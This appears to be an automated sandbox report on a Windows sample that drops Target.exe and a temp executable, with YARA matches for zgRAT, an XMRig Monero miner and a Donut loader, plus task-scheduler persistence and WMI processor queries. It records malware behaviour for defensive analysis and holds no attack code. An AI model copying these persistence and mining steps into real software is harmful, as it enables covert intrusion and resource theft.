Source: zlONcFaXkc.exe, Program.cs

Large array initialization: Main: array initializer size 642620

Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Code function: 0_2_00007FFD9B8A1C44	0_2_00007FFD9B8A1C44
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Code function: 0_2_00007FFD9B8A1A51	0_2_00007FFD9B8A1A51
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Code function: 0_2_00007FFD9B8A3FFA	0_2_00007FFD9B8A3FFA
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Code function: 0_2_00007FFD9B971B44	0_2_00007FFD9B971B44
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Code function: 0_2_00007FFD9B973198	0_2_00007FFD9B973198
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Code function: 0_2_00007FFD9BA50140	0_2_00007FFD9BA50140
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9B8D6C22	1_2_00007FFD9B8D6C22
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9B8D5979	1_2_00007FFD9B8D5979
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9B8E1890	1_2_00007FFD9B8E1890
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9B8B8D50	1_2_00007FFD9B8B8D50
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9B8BA2E0	1_2_00007FFD9B8BA2E0
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9B8BE610	1_2_00007FFD9B8BE610
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9B8B8A48	1_2_00007FFD9B8B8A48
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9B8C5F09	1_2_00007FFD9B8C5F09
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9B8D5E76	1_2_00007FFD9B8D5E76
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9B881C45	1_2_00007FFD9B881C45
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9B881A51	1_2_00007FFD9B881A51
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9B883FFA	1_2_00007FFD9B883FFA
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9B955C61	1_2_00007FFD9B955C61
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9BA4792D	1_2_00007FFD9BA4792D
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9BA47469	1_2_00007FFD9BA47469
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9BA37299	1_2_00007FFD9BA37299
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9BA3C9FB	1_2_00007FFD9BA3C9FB
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9BA3C231	1_2_00007FFD9BA3C231
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9BA3C985	1_2_00007FFD9BA3C985
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9BA3B1A0	1_2_00007FFD9BA3B1A0
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9BA4E8FA	1_2_00007FFD9BA4E8FA
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9BA3C126	1_2_00007FFD9BA3C126
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9BA3C6A0	1_2_00007FFD9BA3C6A0
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9BA415F9	1_2_00007FFD9BA415F9
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9BA4E5C7	1_2_00007FFD9BA4E5C7
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9BA3C4D3	1_2_00007FFD9BA3C4D3
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Code function: 2_2_000002A5B9B863BA	2_2_000002A5B9B863BA
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Code function: 2_2_000002A5B9B8678A	2_2_000002A5B9B8678A
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Code function: 2_2_000002A5B9B86BC2	2_2_000002A5B9B86BC2
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Code function: 2_2_000002A5B9B89E86	2_2_000002A5B9B89E86
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Code function: 2_2_000002A5B9B854DA	2_2_000002A5B9B854DA
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Code function: 2_2_000002A5B9B8762E	2_2_000002A5B9B8762E

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 468 -p 7508 -ip 7508

Source: Target.exe.0.dr	Static PE information: No import functions for PE file found
Source: zlONcFaXkc.exe	Static PE information: No import functions for PE file found

Source: zlONcFaXkc.exe, 00000000.00000002.1675678511.000001DFC1CB0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameLwbtkgrhgw.dll" vs zlONcFaXkc.exe
Source: zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9D12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs zlONcFaXkc.exe
Source: zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9D12000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs zlONcFaXkc.exe
Source: zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9DD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs zlONcFaXkc.exe
Source: zlONcFaXkc.exe, 00000000.00000002.1666984608.000001DFA9511000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs zlONcFaXkc.exe
Source: zlONcFaXkc.exe, 00000000.00000002.1676626747.000001DFC1DB0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs zlONcFaXkc.exe
Source: zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs zlONcFaXkc.exe
Source: zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9994000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLwbtkgrhgw.dll" vs zlONcFaXkc.exe
Source: zlONcFaXkc.exe, 00000000.00000002.1680370592.000001DFC1F10000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs zlONcFaXkc.exe
Source: zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB97BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLwbtkgrhgw.dll" vs zlONcFaXkc.exe
Source: zlONcFaXkc.exe	Binary or memory string: OriginalFilenameZldnf.exe" vs zlONcFaXkc.exe

Source: 0.2.zlONcFaXkc.exe.1dfb9894250.12.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 0.2.zlONcFaXkc.exe.1dfb97d41e0.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 0.2.zlONcFaXkc.exe.1dfc1cb0000.14.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 0.2.zlONcFaXkc.exe.1dfb9894250.12.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 0.2.zlONcFaXkc.exe.1dfc1cb0000.14.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 0.2.zlONcFaXkc.exe.1dfb9994288.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 0.2.zlONcFaXkc.exe.1dfb9814218.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 0.2.zlONcFaXkc.exe.1dfb9994288.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 20.2.AddInProcess.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 20.2.AddInProcess.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 20.2.AddInProcess.exe.140000000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 1.2.Target.exe.1d0abdfaef0.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 1.2.Target.exe.1d0abdfaef0.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 1.2.Target.exe.1d0abdfaef0.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000002.00000002.2015231668.000002A5B9B80000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000000.00000002.1675678511.000001DFC1CB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 00000014.00000002.4110650202.0000000140465000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 00000001.00000002.4137105635.000001D0AC25F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: Process Memory Space: Target.exe PID: 7384, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: Process Memory Space: AddInProcess.exe PID: 7492, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25

Source: zlONcFaXkc.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: Target.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 0.2.zlONcFaXkc.exe.1dfb9dd0178.9.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.zlONcFaXkc.exe.1dfb9dd0178.9.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.zlONcFaXkc.exe.1dfb9dd0178.9.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.zlONcFaXkc.exe.1dfb9dd0178.9.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'
Source: 0.2.zlONcFaXkc.exe.1dfc1f10000.16.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.zlONcFaXkc.exe.1dfc1f10000.16.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'

Source: 0.2.zlONcFaXkc.exe.1dfc1f10000.16.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.zlONcFaXkc.exe.1dfc1f10000.16.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.zlONcFaXkc.exe.1dfb9dd0178.9.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.zlONcFaXkc.exe.1dfb9dd0178.9.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.zlONcFaXkc.exe.1dfb9dd0178.9.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.zlONcFaXkc.exe.1dfb9dd0178.9.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.zlONcFaXkc.exe.1dfb9dd0178.9.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.zlONcFaXkc.exe.1dfc1f10000.16.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.zlONcFaXkc.exe.1dfc1f10000.16.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.zlONcFaXkc.exe.1dfc1f10000.16.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.zlONcFaXkc.exe.1dfb9dd0178.9.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.zlONcFaXkc.exe.1dfc1f10000.16.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)

Source: classification engine

Classification label: mal100.troj.evad.mine.winEXE@103/309@24/25

Source: C:\Users\user\Desktop\zlONcFaXkc.exe

File created: C:\Users\user\AppData\Roaming\IsFixedSize

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Mutant created: \Sessions\1\BaseNamedObjects\cd738f7ec36d311b107bd6ec4b05793a
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Mutant created: \Sessions\1\BaseNamedObjects\444118017aca01d9d0dde7
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7508

Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe

File created: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe

Jump to behavior

Source: zlONcFaXkc.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: zlONcFaXkc.exe

Static file information: TRID: Win64 Executable GUI Net Framework (217006/5) 49.88%

Source: C:\Users\user\Desktop\zlONcFaXkc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
